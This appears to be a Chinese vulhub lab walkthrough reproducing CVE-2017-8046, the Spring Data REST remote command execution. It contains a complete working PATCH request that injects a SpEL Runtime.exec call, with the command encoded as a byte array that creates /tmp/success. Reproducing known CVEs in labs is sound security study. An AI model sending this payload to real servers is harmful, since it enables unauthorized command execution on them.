Spring Data Rest 远程命令执行命令(CVE-2017-8046)

(1)访问 http://your-ip:8080/customers/1,然后抓取数据包,使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1

Host:

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json-patch+json

Content-Length: 202

{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte\[\]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }

返回kali 输入命令进docker入容器 ls /tmp查看 可以发现 成功创建success

相关推荐
DanB245 分钟前
Java(多线程)
java·开发语言·python
O***p60410 分钟前
Java在分布式中的Archaius
java·开发语言·分布式
在繁华处12 分钟前
JAVA实战:文件管理系统1.0
java·开发语言·前端
算法与编程之美14 分钟前
Java数组动态扩容
java·开发语言·python·算法
曹牧32 分钟前
Java: Json的键值双引号
java·chrome·json
z***026034 分钟前
springboot整合modbus实现通讯
数据库·spring boot·后端
有一个好名字35 分钟前
Spring AI ——Java开发者的AI集成神器
java·人工智能·spring
i***683237 分钟前
Spring Boot--@PathVariable、@RequestParam、@RequestBody
java·spring boot·后端
p***950041 分钟前
Plugin ‘org.springframework.bootspring-boot-maven-plugin‘ not found的解决方法
java·maven
h***06651 小时前
Spring Boot 集成 Kettle
java·spring boot·后端